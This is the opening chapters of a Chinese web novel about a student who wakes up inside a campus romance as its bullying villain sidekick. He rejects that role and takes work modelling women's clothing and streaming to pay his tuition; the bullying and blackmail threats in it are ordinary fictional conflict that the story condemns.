《女装后成了校草的白月光》 1、第一章 时绥是在后脑勺撞击瓷砖的钝痛中恢复意识的。 潮湿的水汽裹着烟味直往鼻腔里钻，耳畔响起男人的破口大骂：“喻之夏你他妈疯了！敢推我们时哥，是嫌教训得不够是吧？！” 好痛……这里是哪，医院吗。可才出了车祸的他不应该全身都痛吗，为什么只有脑子疼？ 时绥还没反应过来发生什么事，旁边倏忽伸出一只手。 那人的五指深深陷在少年凌乱的黑发里，“噗嗤”一声，少年的头就被按在蓄满污水的洗手池中！ 时绥：“？！！” “哈，喻之夏，别以为你是喻家的小少爷就没人敢拿你怎么样。谁不知道时随和江以桓认识的最久，你一个半道杀出来的玩意儿和江以桓时随考到同一个大学就算了，凭什么还能和江以桓订婚约？就凭你长得好看家里还有钱吗？！” 信息量太大，时绥回过神后彻底愣了。 江以桓、喻之夏……这不是前段时间他高考刚结束为了放松自己而看的一本校园文里主角攻受的名字吗？！ 文里还有个和他同音异名的恶毒男配，定位是主角攻江以桓的舔狗跟班。因为嫉妒主角受家境优渥，和整天熬夜学习的他不一样，不费吹灰之力就能考上a大，还和江以桓定下了婚约，而疯狂针对主角受。 所以自己这是穿书了？ 还穿成了舔狗跟班？！ “时随，要把他衣服扒了狠狠侮辱一顿吗？” 这话听在从小接触的都是和善群体的时绥耳朵里可太小众了。 时绥猛地向后看去，这才发现厕所里还有好几个人，盯着喻之夏的眼神就跟野兽看猎物般不怀好意。 哦，原来是核善啊。 僵硬的神色浮现在时绥脸上。 眼看喻之夏快支撑不住，时绥身体快过大脑，白着脸把对方沉在污水里的脑袋拔了出来。 “咳咳咳……！” 喻之夏呛咳着撑住水池边缘，湿透的额发下，一双蒙着水雾的眼睛像受伤的小兽：“时随，你认为是我用手段勾引江以桓，让江喻两家定下婚约，所以才处处针对我那我可以理解。” “可是我明明告诉过你，我没有这样做，你为什么还要这样对我，你别太过分了！” 时绥：…… 就是说啊，原主怎么能这么过分？ 做这一切是要付出代价的啊！ 记忆如冰锥刺入太阳穴，小说里的原文段落正在时绥眼前重演——高中毕业典礼当天，原主带着校外几个有名的恶霸冒充学生，把主角受堵在厕所，半小时后就会被赶来的江以桓撞见，从此拉开被送进精神病院的悲惨序幕。 想到自己最终会死在精神病院，时绥整个人都不好了。 见他踉跄后退，几个霸凌者举着手机疑惑：“怎么了，你后退干啥呀，不是说好拍他裸照用来威胁的吗？” 听见“裸照”二字，喻之夏原本苍白的脸色更是毫无血色：“时随！你这样是在犯法，你是要坐牢的！” “切，吓唬谁呢。就算时随坐牢，等照片宣扬到你们新学校，能让喻家的小少爷颜面扫地也算值了。” 时绥：……？ 值你大爸！管管我死活！ 拍照的咔擦声响起，时绥头皮一紧，立马阻止：“别拍！都不准拍！我之前是……脑子被门夹了，你们赶紧走，这件事就这么过去了！” 说完，从裤带里拆开一包纸巾往喻之夏身上擦。 喻之夏挥开他的手，十分反感他触碰。 时绥急得快发癫。主角攻马上要出场了，马上就要发现自己在欺负他未来老婆了，我现在跳窗逃跑还来得及吗？！ 怕什么来什么，铁门被风吹得哐当巨响，远处走廊传来不紧不慢的脚步声。 这个时间会出现在顶楼废弃厕所的，多半就是依照剧情前来的江以桓。 冷汗顺着脊梁骨往下淌，时绥把自己披在衬衫外的外套脱下来给喻之夏穿：“没时间废话了，快带他去医务室找医生！现在！立刻！” 此话一出，不止恶霸们，连主角受都愣住了。 “去哪？医务室？？时随你认真的吗？？？” 时绥心说真的不能再真，袖口忽然被抓住。 “时随，你到底在玩什么花样？！”喻之夏红了眼眶，“如果你想羞辱我，那就趁现在一次性羞辱个够。你只有这一次机会，等我出去，就算江以桓念在你是他跟班的份上什么都不做，难道喻家也会放过你？” 喻家当然不会放过他，喻之夏可是喻家备受宠爱的小少爷，少有的配得上江以桓的人。 走廊的脚步声停在门外。 时绥头皮发麻，四肢都绷紧了。 而喻之夏好似根本没发现主角攻的到来，红着眼眶揪住他袖子，俨然是一副受了欺负却依旧坚韧倔强的清纯小白花模样。 “嗯？时随你怎么跑到这里来了？”门外的人走进来，是一张偏狐狸相的清艳的脸。 根本不是江以桓。 “你不是替江哥买咖啡去了吗，这么久没回来，江哥正找你呢。” …… 来的人是沈彦泽，不是江以桓。 莫非是穿书引起了蝴蝶效应，导致一些剧情的细节发生了改变？ 沈彦泽冲时绥昂了昂下巴：“发什么愣，快跟上来。” 和原主这种要靠巴结才能和上流圈子沾边的不同，沈家也是a市出了名的世家豪门。 见沈彦泽没有要管的意思，时绥松了口气，小跑着跟在他身后：“沈、沈哥，你怎么会找来这里啊？” “江哥以为你遇事了，让人去找你。我恰好来天台吹风，听见你们这边有动静。” 沈彦泽听到他的称呼，脸色古怪：“不过你怎么叫起我沈哥来了，不会是觉得追江以桓没希望，想换个人巴结吧？” “不不、不是……” “既然不是那你就正常喊，我好心给你个劝告，别爱我，没结果。” 时绥：“。” “你表情什么意思，不相信？” “不是……”时绥只是想起了刚才在卫生间镜子里看见的自己。 除了打扮得邋遢了点，原主那张脸居然和他长得一模一样。 鹅蛋脸，偏圆的杏仁眼藏在厚厚的黑框眼镜之下。天生颜色偏浅、可以扎起一小缕马尾的中短发，就连眼尾处的一小颗红色泪痣都分毫不差。 明明长得像只糯米团子一样乖巧，欺负起主角受来却厉害得很！ 时绥还是想不明白。 好端端的怎么会穿书呢，被车撞了就能穿吗，那再撞一次能不能穿回去？ 他才刚结束高考还没来得及开启美好的大学生活啊t﹏t 室内篮球场建造在体育馆二楼，今年刚毕业的高三生正在场中进行高中生涯的最后一场对抗赛。 整整三年，校草的位置被主角攻江以桓霸榜。 为了看江以桓一眼，观众席人满为患，甚至门口走廊都有学弟学妹们拥堵着。 时绥跟着沈彦泽往里挤。 他抱着一大袋咖啡，被挤得跌跌撞撞，为了保持平衡整个人仿佛在跳探戈。 沈彦泽担心时绥把咖啡洒了，回头看了一眼差点被逗笑，伸手把咖啡要了过去。 错觉吗，怎么感觉时随萌萌的？ “对面这水平真是不够看的，江哥他们稳赢。”正百无聊赖地看观众席的学弟学妹们犯花痴的银发男生翘起二郎腿，望见人群中两道熟悉身影后抬手招呼道：“哟，大美人带着小土包子回来了？” “顾鸣川，你说话最好小心点。”沈彦泽让时绥找来一凳子，然后开始分咖啡，“你要的抹茶拿铁是吧，时随给你买了，还不快磕头感谢。” “谢啥呀，一杯饮料能值多少钱？”顾鸣川皮笑肉不笑道，“再说是时随自愿给我们买的，你说是吧时随？” 时绥：“啊？” 穿书前时绥是孤儿，不过他很幸运，很小的时候就被一位很有钱的叔叔从福利院领养，不愁吃不愁用，请客喝咖啡自然没什么。 只是原主好像不是这么个情况啊！ 或许可恨之人必有可怜之处，小说里原主同样被一对夫妻领养，那对夫妻就没那么厉害的财力了。 养父母对原主并不好，不仅不给原主提供学费，还让原主出去打工，想法设法从他身上捞钱。 以至于原著里的时随之所以霸凌喻之夏，除了嫉妒对方和江以桓的婚约，还存在一定的仇富心理。 能和江以桓玩一块儿的家庭背景都不简单，顾鸣川当然不屑贪这点小便宜，他纯粹是瞧不起原主。 说是江哥的跟班，实际动的什么歪心思只要不瞎都看得出来，顾鸣川觉得时随品行低劣就算了，还癞蛤蟆想吃天鹅肉，毫无自知之明。 这帮人里唯一对原主态度还可以的就是沈彦泽了。 沈彦泽推给时绥一杯摩卡星冰乐，时绥不知道还有自己的份儿，眼睛亮晶晶的接过来。 顾鸣川见他和仓鼠似的捧着小口小口喝着，嗤笑道：“哎哟喂，当我们第一天认识你？江哥现在又不在，装可爱给谁看？” 时绥听见了，满脑门问号自己哪里装可爱了？想到什么，翻出手机去看微信和zfb余额。 总余额不超三位数，刚才买咖啡的钱甚至用的信用贷…… 时绥朝顾鸣川伸出掌心，顾鸣川拿余光睨他：“怎的？” 时绥：“抹茶拿铁一杯23块。” 顾鸣川：“所以呢？” “请转给我。” “……”顾鸣川再次发出嗤笑，刚想嘲讽两句，看见时绥抿紧的唇角又莫名其妙作了罢。往他微信里转了五十，说是小费不用找了。 “赶紧收，省的说老子欺负你。” 时绥欣然接受，刚点击收款，不远处又响起一道陌生又嘹亮的谩骂。 “——时随！老子给你脸了？他妈的赶紧给我滚出来！” 盛怒中的男生似乎是体育生，拳头看起来能把时绥脑袋锤进地里：“喻之夏说你又去找他了，你这人怎么能这么恶毒？居然还想拍喻之夏的裸照威胁他！” ……糟糕，差点忘记书里主角受还是个团宠体质！ 对方十之八.九是喻之夏的追求者。 篮球馆内本就吵闹，没多少人注意到他们这边。眼看男生大步向他走来，似乎要打自己，时绥吓得后退两步，小声说：“我没有……” “没有？那喻之夏身上那些污渍是谁弄的，他妈的除了你还会有谁！” 男人气得理智全无，伸手揪住时绥衣襟把他整个人提起来。 随着身体悬空，时绥心也一下子提吊起来。前所未有的惊慌笼罩住他，恍惚看见男人拳头举了起来，他猛闭上眼。 下一秒，巨响炸开，疼痛却没有如约而至地落到身上。 “咚——！” 篮球擦着男人的头发，重重砸上后面墙壁。 全场响起一阵热烈骚动。 时绥睁开快抖出虚影的眼睫，只见球场的正中央有个相貌优越的男生朝他们方向走了过来。 黑发黑眼，一身简约的黑色球衣衬得皮肤越发冷白，左手腕上一串沉郁的棕褐色沉香木珠，颗颗纹理嶙峋，在冷白肤色与墨黑衣料间凝着一道沉静的幽光。 顾鸣川原本正准备看时绥的好戏，见状猛地从椅子上站起：“江哥！” 对方没看他。 即便才成年，江以桓的身高已经十分优越，在人群里鹤立鸡群。 常年训练铸就的背肌在被汗水打湿的布料下轻微起伏，像月光下的雪原蛰伏着山峦，光气场就能把人压得死死的。 气氛陷入僵持。 那体育生在和江以桓无声的对峙中率先败下了阵，把攥着时绥领口的手松开，时绥脚跟落了地，摇晃两下又自己站好。 这一茬才算是翻篇。 江以桓抬了抬下巴：“怎么回事？” 2、第二章 “江哥，你真相信时随说的他没惹事？” 毕业典礼结束，顾鸣川在回去前问江以桓。 江以桓正在通话，让接他的司机多等一会儿，从上衣口袋里摸出烟盒：“有没有撒谎，问问不就知道了。” 话音落地，寸头男被沈彦泽推着上前，正是之前在顶楼废弃厕所内霸凌喻之夏的人之一。 他不知道怎么的就被沈彦泽带人揪到这儿了。 沈彦泽看着斯文，力气大得跟经过专业训练的保镖似的。 江以桓漫不经心地将烟点燃，神色淡淡，视线却透出压迫感。 寸头男不敢与他对视，清楚自己跟他说话的资格都没有，在沈彦泽的催促下拨打了时绥的号码。 通话响了半分钟后被接起，少年礼貌的声音响起：“您好，请问您是？” 寸头男朝电话里喊：“时随，这么快就不记得我了？以后还想找喻之夏麻烦的话随时找我啊，一千块一单，看你是常客的份上我给你打八折，收你八百。” “……不用了。”另一头，时绥的声音听起来快要断气，“我没这个钱，不会再联系你了。” 沈彦泽和顾鸣川眼神对视：果然！ 之前在篮球馆，时绥的说法是没有叫人去堵喻之夏。不是他做过的事，他绝对不会承认。 说的时候眼眶红红的像只兔子，不知道的还以为真受了委屈，结果……呵，演的还挺像样！ 顾鸣川心说早就知道时随是这种人。 顾鸣川去看江以桓，见江以桓眯了一下眼，他心底发出嗤笑，以为时随完了：江哥绝对不会把撒谎的人留在身边。 又听电话里的人接着道：“就算我有钱，也不会再花在这种事情上。你也早些金盆洗手，别再做这种缺德还没意义的事了。老了都没有退休金。” 寸头男：“？” 顾鸣川：“？？？？” “哦还有，你们之前乱拍的照片都删掉了吗？”时绥继续温温吞吞地说，“没删的要尽快删，全部清除。未经允许拍人家照片是不对的。” “你如果最近实在手头紧，我可以先借你一点，虽然我也没有多少……但是你得发誓不把‘我’找你当代打的事告诉别人，也不再找喻之夏的麻烦。” 寸头男听得呆滞，一个手抖按了挂断。 沈彦泽皱眉：“你怎么挂了？” 寸头男发自内心的：“我、我不是故意……我怀疑时随吃错了药……” 怀疑的人何止寸头男一个。 沈彦泽告诉寸头男可以离开了，寸头男立刻溜了。 顾鸣川立刻道：“时随怎么回事，脑子抽了？” “他不是喜欢江哥才找喻之夏的麻烦吗，现在又是什么意思？难不成是知道江家和喻家结亲是长辈的意思，江哥不过是为了减少那群追求者对他的骚扰才没拒绝这个婚约，并不是对喻之夏有意思？” 江以桓垂眸把玩着打火机，若有所思。 沈彦泽分析道：“就算时随知道这个，以他的性格只会仗着江哥不喜欢喻之夏这一点，更加欺负喻之夏，才不会说出像刚才那番话吧？” 顾鸣川：“也是。” 顾鸣川：“……” “所以他果然是脑子抽了！江哥，我觉得你把他带去精神科看看会比较保险！” “砰”的一声脆响，江以桓把思绪连同打火机一起揣回去，转向顾鸣川：“不重要的人，啰嗦什么。走了。” 另一边，虽然穷但真诚的时绥被挂断电话，嘟囔了一句没礼貌。 他仔细翻看了一遍原主的手机，发现原主浑身上下只剩下八十，花呗还欠了两千多。 由于原主是主角攻的跟班，拥有江以桓的联系方式。 时绥看到原主几乎每天都会给江以桓发一些有的没的消息，但是江以桓从来不会回应，只会让原主帮忙跑腿，然后给原主转钱。 每笔转账的金额都不少于五百，时绥确信里面包含了不少小费，只是都被原主转到了养母账上。 江以桓的微信头像全黑，昵称一个字母“j”，朋友圈背景是抽象的黑白光影艺术作品，个性签名那行写着“智者不入爱河”。 扑面而来的理智、高冷、难以接近。 时绥纠结了十几秒，手指头从删除键上挪开。 虽然他和江以桓在不同院系，但好歹在同一个大学，以后没准会经常遇见。 万一被江以桓发现自己把他删了……一想到书里的结局，时绥就还是怕。 毕竟时绥是看过小说的，知道主角攻的人设不只是明面上那样高冷，还有不为人知的自私、恶劣、睚眦必报的一面。 今天删他微信，改日他扇自己怎么办？ 尽可能避着一点吧。 - 快乐的暑假是属于其他高三毕业的学生的。或许冥冥之中自有天意，原主和时绥一样报考的编导系。 a市是全国领头的一线城市，经济繁荣，物价贵。编导系算是艺术专业，一年学费综合在两万左右。 车祸后穿书，老天爷给了一条新的生路，大学报考的也是自己想读的专业，时绥没理由不努力。 七月份这一整个月里，时绥都忙着在咖啡店打工。 咖啡店时薪低，哪怕从早忙到晚，算上吃饭一天有九小时在店内，忙得累死累活，被不讲理的顾客怼，工资也只有三千出头。 好难。太难了…… 只能申请助学贷了吗，可是流程会不会很麻烦？ 要不，试试看做模特？ 时绥想起自己以前就是靠兼职做平面模特凑齐的大学学费，没有花叔叔一分钱。 叔叔愿意领养他，提供他读了九年的书他已经很感激了。他们没有血缘关系，时绥总不能一直依赖于别人，因为他觉得没有人会一直陪在他身边无条件地对他好，最终还是要靠自己。 八月初，时绥上网找了家规模不大，但各方面还算正规的服饰公司面试。 男模特要求净身高178及以上，时绥刚好满足。 拍摄一场大概三、四个小时，时薪200，虽然忙，但一天下来的总薪酬能有600到1000，比摇咖啡强。 但最终时绥被拒绝了，理由是他们老板不接受暑假工。 那时绥能怎么办，总不能辍学来打工，那样就本末倒置了。 “好叭，那打扰了。” hr歉意地起身，这点也怪她，没早点和时绥讲清楚，害的人白跑一趟。 她正准备送时绥离开，一名个子高挑，留着渣女大波浪的姐姐气势汹汹从隔壁走出来：“真服了！一天天净说老娘拉腿，我tm能不拉腿吗？那裙子的版型只有高高瘦瘦的人才能撑起来，我已经很高了好嘛，为了视觉效果拉一点腿有错吗？我上哪儿去找一米八的女人啊？！” 助理在一旁安慰：“苏大小姐消消气。这届网友眼睛太尖了，这都能看出拉腿了。” “如果要完美体现出这条裙子的美，模特既要高，也不能太瘦，更不能壮，最好还有一些线条，靠！那种完美的女人根本不存——”在。 忽然，苏姐的视线和时绥对上，话音戛然而止。 时绥今天穿着件白衬衫和黑色七分裤，衬得整个人非常干净、清爽。 暴露在空气中的四肢纤长，皮肤光滑细腻，还没有一般男人会有的粗长体毛…… 苏蕊的眼睛“噌”地亮了，一个从未有过的想法划过脑海。 既然不可能有那样完美的女人，那男人呢？ “小弟弟，你是来面试的吗？我叫苏蕊，这家公司的持股人是我舅妈，我有件衣服要你去试一下，如果能让我满意，你这次面试就算通过了！” “啊？”时绥被这个天上降下来的消息砸懵了，“可我是暑假工，九月份还得去上学，之后只能在没课的时候抽空出来兼职。” 苏蕊：“没事儿，你是大学生吧？我也是，我今年读大四的服装设计，你是哪个学校的呀？” 时绥回道：“a大。我是今年的编导系新生。” “这么巧？！我也读的a大，那你算我的小学弟呀，看在这份上我更得雇佣你了！”苏蕊踩着高跟鞋，赶鸭子上架似的把时绥推进更衣间，“亲爱的，换完赶紧出来哈，么么哒！” 时绥：“……” 十分钟后，更衣室的门被推开一道缝隙，时绥的声音细若蚊呐：“那个……苏，苏学姐，这个拉链我好像卡住了……” 苏蕊正等得心焦，闻言立刻上前：“哪儿呢哪儿呢，我帮你！” 她推开门，目光触及门内景象的瞬间，声音戛然而止，整个人仿佛被按下了暂停键，嘴巴微张，眼睛瞪得溜圆。 门外等候的hr和助理也好奇地凑了过来，随即倒吸一口冷气。 光线从更衣室顶灯洒下，落在那个站在试衣镜前的身影上。 时绥身上穿的是一条苏蕊精心设计的星空渐变长裙。 上身是柔和的裸粉色吊带，贴合着他清瘦却线条流畅的肩膀和锁骨，细腻的布料勾勒出少年人特有的、介于青涩与修长之间的轮廓。从腰线开始，颜色逐渐加深，过渡到深邃的午夜蓝，裙摆上点缀着细碎的银白色亮片，如同星辰散落夜空。 最令人移不开眼的是那张脸。 摘掉了笨拙的黑框眼镜，露出了一双形状极好、带着点无辜感的眼睛，此刻因紧张而微微睁大，长睫轻颤。 皮肤在灯光下白得近乎透明，像刚剥壳的鸡蛋。鼻梁挺秀，唇色是天然的淡粉。及肩的柔软黑发被随意地撩到耳后，露出线条优美的脖颈和耳朵。 什么拉腿，什么修图，都是多此一举！ 他站在那里，身姿挺拔，裙摆垂坠而下，整个人如同月光下悄然绽放的昙花，带着一种超越性别的、纯净又脆弱的美。 那点属于少年的青涩棱角，反而成了这身女装奇妙的点缀，中和了过分柔美的感觉，呈现出一种独特的中性魅力。 “我、我是不是很奇怪？” 时绥被三个人直勾勾地盯着，耳根红得滴血，手指无意识地绞着裙摆边缘，声音带着窘迫的颤抖。 “奇怪？！”苏蕊骤然间回神，声音拔高了八度，带着一种发现稀世珍宝的狂喜，“我的老天鹅！这叫奇怪？这简直是艺术品！是缪斯本斯下凡了！” 她激动地绕着时绥转了两圈，嘴里啧啧有声：“完美，太完美了！这腰线！这比例！这气质！亲爱的，你就是为这条裙子而生的！” 她语气太热烈，时绥着实有点被吓到。 怎么办，就是在穿书前，我也从来没穿过女装的啊。 要不还是回绝吧？ “时同学，不是我吹，你穿这裙子简直绝了，比我们之前找的所有女模特都适合！”助理连连点头，满眼惊艳，“那种清冷又带点懵懂的感觉，完全就是苏姐设计里想要表达的那种‘星夜精灵’的氛围！” hr也忍不住赞叹：“真是没想到……效果这么好。” 时绥：“唔……” 你们别夸了，夸的我都不好意思拒绝qaq 苏蕊兴奋地打了个响指，一锤定音：“定了！就你了！暑假工没关系，能拍几天是几天！以后周末有空也欢迎你来！时薪按我们这里资深模特的标准给，300块一小时！” 她看着时绥依旧红着脸、不知所措的可爱模样，坏笑着凑近他耳边，压低了声音，带着蛊惑的意味：“小学弟，记住学姐一句话——女装这东西啊，只有零次和无数次。” “相信我，虽然你可能现在还不太适应，但你迟早会爱上这种感觉的。这简直打开了新世界的大门！” 时绥像是被烫到一样猛地后退一步，头摇得像拨浪鼓，脸颊绯红，语气斩钉截铁：“不可能，绝对不可能！” “学姐你别开玩笑了。我……我这是为了工作，为了学费，仅此一次！下不为例！” 他飞快地转身冲回更衣室，动作快得像后面有狼在追，只留下一句闷闷的：“我马上换下来！” 苏蕊看着他仓皇的背影，再次在脑子里为时绥盖章：简直是——天选女装圣体！ - 深夜。 狭小的屋子里一片寂静，只有老旧空调发出轻微的运转声。 时绥把自己裹在薄薄的夏凉被里，宛如一只作茧自缚的蚕宝宝，只露出一颗毛茸茸的脑袋和拿着手机的双手。 屏幕的微光映亮了他依旧有些发烫的脸颊和那双亮得惊人的眼睛。 指尖在手机屏幕上无意识地滑动着，购物软件搜索框里赫然是： 【独特漂亮掐腰裙】 【韩里韩气穿搭两件套】 【jk制服格子裙】 【lolita轻甜款】 白天那条星空裙带来的奇异触感，冰凉丝滑的布料摩擦皮肤的微妙感觉，还有镜子里那个陌生又带着奇异吸引力的身影，如同魔咒般在他脑海里挥之不去。 “这个……颜色好像不错……” “哇，这个裙摆的蕾丝设计好精致，完全没有廉价的感觉……” “这个模特穿起来的效果……好像没有我穿那条星空裙好看？” 这个念头刚冒出来，时绥立刻像被电到一样甩甩头，在心里唾弃自己：想什么呢！时绥，清醒点，你是男的，这都是为了工作，是苏学姐逼你的！ 他一边在心里疯狂进行着自我批判，一边手指却非常诚实地统一操作着： 加入购物车→选尺码→加入购物车→收藏。 购物车里的宝贝数量噌噌上涨，转眼就堆了十几件。 他看得双眼放光，忘乎所以，心跳加速，仿佛在挖掘一个充满新奇与诱惑的宝藏。 每一条裙子都像是一个等待被拆开的礼物，想象着自己穿上它们的样子。那种感觉，竟然……有点刺激和期待？ “不行不行，太罪恶了！”时绥猛地按灭手机屏幕，把发烫的脸深深埋进被子里，发出懊恼的呜咽声。 黑暗笼罩下来，但购物车里那些五颜六色的裙子影像，还有苏蕊那句带着魔力的“女装只有零次和无数次”，却在他脑海里更加清晰地盘旋、放大。 他煎熬地在被子里滚了两圈，最终又悄悄把手机屏幕按亮，微弱的光再次照亮他纠结又带着点隐秘兴奋的脸。 手指不受控制地点开了购物车页面，望着里面琳琅满目的漂亮裙子，再看看自己微信钱包里那可怜巴巴的两位数余额，还有信用贷待还的刺眼数字…… 时绥瘪瘪嘴，把被子拉过头顶，裹得更紧了些，发出一声既像叹息又像呜咽的长长气音。 “好……好贵啊……” 3、第三章 翌日早晨，时绥走出房间后往餐桌上看了一眼，和昨晚情况一样，这个家里连一份剩饭都不会给他留。 时绥理了理头发，准备出门拍摄。换鞋时被在客厅里的养母叫住。 “慢着，你小子最近天天出门，是谈恋爱了？”养母嘴里嗑着瓜子，开口就是一句，“对象家里有没有钱？” “她看得上你要么是眼睛不好，要么就是脑子蠢，你给我想办法多骗点回来。” 好炸裂的三观。 时绥抿唇，想起书中原主得精神病和养母脱不了关系。 以前在心理课上收获一句话，要尽早克服或远离容易让自己内耗的环境。 时绥：“您是在我几岁时领养我的？” “这我哪记得。”养母不知道他为什么提这个，但也不关心地说，“四五岁的时候吧。” 那就当四岁时领养的吧。时绥想。 原主今年十八岁。十四年的养育费，算一年五万的话，七十万…… 时绥呼出一口长气，不管怎么说，没有原主，就没有能获得新生的自己。 他自问心脏没有多强大，不能做到对养母的贬低视而不见，那就只能割席远离了。 - 烧烤摊的热闹仿佛与江以桓隔着一层无形的屏障。 他姿态闲适地靠在椅背上玩手机。 一旁，顾鸣川熟练地翻着肉串，嘴上也没闲着：“要我说，喻之夏还挺懂事。被时随那小子整得够呛，硬是没跟喻家或者咱们这边长辈吭一声，算是给江哥省了不少麻烦，没让婚约这事儿一开始就闹得难堪。” 沈彦泽把烤好的肉串放到江以桓面前的盘子里，顺口提了一句：“对了江哥，时随说今天忙，有事来不了。” 江以桓的目光都没从手机屏幕上移开，淡淡“嗯”了一声，表示知道了。 仿佛沈彦泽说的不是“时随有事”，而是“天气不错”。 他端起冰水喝了一口，心思完全沉浸在屏幕里的闯关小游戏上。 顾鸣川见江以桓毫无反应，忍不住凑近，带着点看好戏的促狭：“哎，江哥，你就真不好奇？” “以前放假，时随那小子可是跟块狗皮膏药似的，你走哪他跟哪，随叫随到，殷勤得不得了。这次是太阳打西边出来了？居然学会‘忙’了？该不会是换了策略，搞什么欲擒故纵吧？圈子里可有不少人赌他这次能憋多久呢。” 他一边说一边观察江以桓的表情。 江以桓漠不关心地说：“这么关心他，你想他了？” “……呸呸呸，谁会看上时随那个土里土气的四眼仔啊，又不是睁眼瞎！”顾鸣川说，“我就是好奇，要不江哥你试试联系他，看他会不会来？” 顾鸣川太聒噪，江以桓嗤笑一声，嘴上说着麻烦，但还是切出游戏界面，给时随发了条消息。 j：「我在烧烤摊。」 发完，把手机往桌上一丢，信誓旦旦。 “等着吧。” 似乎已经确信了时绥会来。 然而等了又等，等到桌上的烤串和啤酒瓶被顾鸣川他们清空，顾鸣川醉醺醺地唱了起来，依旧没有等到时绥的到来。 江以桓：…… 时绥确实收到了江以桓的消息，但那条消息有头没尾的，他不知道怎么回，干脆就当没看见。 以往他回一句，时随能回十句，所以江以桓根本没想过有“已读不回”这种可能性，就理解成时绥一整天下来没时间看手机。 这么忙？ 江以桓心头划过一丝诡异的不愉快，但很快就散了。 对他来说，时随不过是一个主动贴上来的、有些麻烦的小跟班，如今不来烦他，反倒是清净。 至于时随在忙什么，根本不值得他在意。 想明白后，江以桓心情顺畅不少：“喝的差不多了就走。” - 几天后，市中心私人画展的露台。 江以桓正与画廊主人寒暄，对方对江家即将举办的一场慈善拍卖很感兴趣。谈话间隙，江以桓走到露台边缘，点燃一支烟，目光不经意扫过下方繁华的商业街。 车水马龙，霓虹闪烁。 他的视线掠过对面一家明亮的品牌女装店橱窗，里面一个身材高挑清瘦的身影正被一个打扮时髦的女生拉着试一件西装。 那身影背对着他，只隐约看得到一个略显单薄僵直的背影，和一个扎着发尾的小揪揪。 女生正兴致勃勃地拿着衣服在少年身前比划，动作亲昵。 江以桓的目光在那个背影上停留了不到两秒，漠然地移开，吐出一口烟圈。 呵。 原来忙着陪女人逛街买衣服啊。 过几天这件事就该被时随以吐槽的口吻在微信上说了。 例如：「我也不想的，她非要我陪她逛街。」 「我没有钱，她硬要替我买。」 「我们不是情侣关系，是她单方面喜欢我，你不要误会。」 以为这样就能让他吃醋？ 江以桓掐灭烟，转身回到画廊主人身旁，脸上重新挂起得体的、社交性的微笑，将刚才看到的有关时绥的画面彻底抛诸脑后。 与此同时，另一边。 “我说的吧？你的脸很小，线条偏柔和，不太适合这种板正的西装，还是小裙子更适合你！”苏蕊哈喇子嘶哈嘶哈地流，“而且没想到你看起来瘦瘦的，臀部倒挺翘，大腿上也有肉，性感死了！可得好好发挥这一点长处。” 时绥干笑两声，不知道该怎么接话。他刚换回自己的衣服，就看到手机里刺眼的短信，来自“养母”。 「这都过去多少天了，把那蠢女人的钱骗到手了没有啊？我告诉你时随，你已经成年了，什么学费啊生活费啊，别指望我再给你出一分钱！当初领养你的钱和你这些年吃穿用度，我都记着账呢！赶紧给我连本带利给我还清了，不然别怪我闹到你学校去，让你丢人现眼！」 时绥的脸色一变，没想到养母对原主逼得这么紧。他飞快地把手机塞回口袋，动作带着明显的慌乱。 这一切都被旁边的苏蕊看在眼里。 “学弟。”两人坐在冷饮店，苏蕊看着对面只点了一杯柠檬水、显得格外拘谨的少年，收敛起玩笑的表情，开门见山地问：“你是不是特别缺钱？” 她早该想到的，一般刚高考结束的学生脑子里只剩下疯玩，哪里会想着出来打工？ 时绥垂下眼，长长的睫毛在眼下投落一小片阴影，沉默地点了点头，声音很低：“我是被领养的。学费……还有，得把欠的……还清。” 一句话说得磕磕绊绊，苏蕊瞧着他倔强又脆弱的样子，再想到他穿上女装时那种令人惊艳的反差美，一个大胆的想法再次成型。 “小学弟。”苏蕊身体前倾，压低声音，带着一种发现商机的兴奋，“想不想来钱快，特别快那种？绝对合法！” 时绥疑惑地抬头。 “直播啊！”苏蕊眼睛发亮，“你自己经营一个穿搭博主的账号，粉丝积累到一定量可以从金主爸爸那儿接到广子！” “如今是互联网时代，能把自媒体玩好可赚钱了。你知不知道你那几组试穿照反响有多好，下单量嘎嘎涨！你这条件，这气质，穿女装简直绝了！开直播，露个脸，或者不露脸戴个口罩也行，就聊聊天，展示下衣服，和粉丝互动，打赏和平台分成哗哗的，还不用去公司，比你打十份工都强，学费和……你要还的债，很快就能搞定！” 时绥的脸腾地红透，头摇得像拨浪鼓，声音都变了调：“不行，学姐，绝对不行！这太……太……” 他找不到合适的词来形容那种极致的羞耻感。 “隔着网络怕什么，想想你的自由，想想再也不用看人脸色！”苏蕊的话像针一样扎在时绥心上。 自由……这两个字像有魔力，令时绥沉默。 他盯着杯子里沉浮的柠檬片，内心翻江倒海。 - 开学前一天的晚上，时绥在当今最火的直播平台上创建了一个名叫“萌小绥”的账号。 在江以桓的视线之外，他的暑假在相机快门的咔嚓声和微妙的羞耻与兴奋中推进。 白天，时绥套着咖啡店的围裙，在狭窄的吧台后重复着拉花、打包、说“欢迎下次光临”，汗水浸湿了额发。 夜晚和休息日，他在堆满衣服和打光灯的小小摄影棚里，僵硬地摆出各种姿势，忍受着布料摩擦皮肤带来的奇异触感。在苏蕊“腰往下塌点！对，就这样，超级好看！”的指挥下，一边做着平面服装模特，一边经营着自己的自媒体账号。 在猫咪主题咖啡店里，他带着假发画着精致的妆、穿着轻甜的lolita裙子，被毛茸茸的小猫们蹭得手足无措，脸颊泛红的样子被苏蕊精准捕捉，成为粉丝们疯狂点赞的神图。 “萌小绥”这个账号的粉丝数，就在这一组组或清冷、或甜美、或懵懂的照片中，悄然突破了四位数，并且还在持续上涨。 评论区除了惊叹：【博主是神仙吗？！】、【这腿是真实存在的吗？！】，也开始出现【求直播！】、【想看动态的仙女！】的呼声。 时绥看着这些鼓励和夸赞，开启直播的念头愈演愈烈。 可当平面模特和当主播是不一样的啊…… 他害怕动态地暴露那个不一样的自己。 就这样从白天害怕到深夜，房间里，时绥对着“萌小绥”账号主页上那些美得不真实的照片发呆。 手指反复划过“开播”的按钮，眼神里充满了迷茫和挣扎。 “学姐说的也不全错啊，凡事都有第一次……” 自我催眠完毕，时绥火速翻找出假发，穿着不属于自己的小裙子，在镜头前笨拙地寻找着角度。 五分钟后，一个戴着口罩的双马尾萌妹出现在屏幕中央。声音细小，带着试探，像是某种小动物。 “大家好，我……我是新人主播萌小绥。” 4、第四章 a大校园，初秋的微风扫去了夏末最后一丝燥热。 为期半个月的军训结束，随着迷彩服的褪去，校论坛和私下讨论的焦点迅速转移到了新晋的风云人物上。 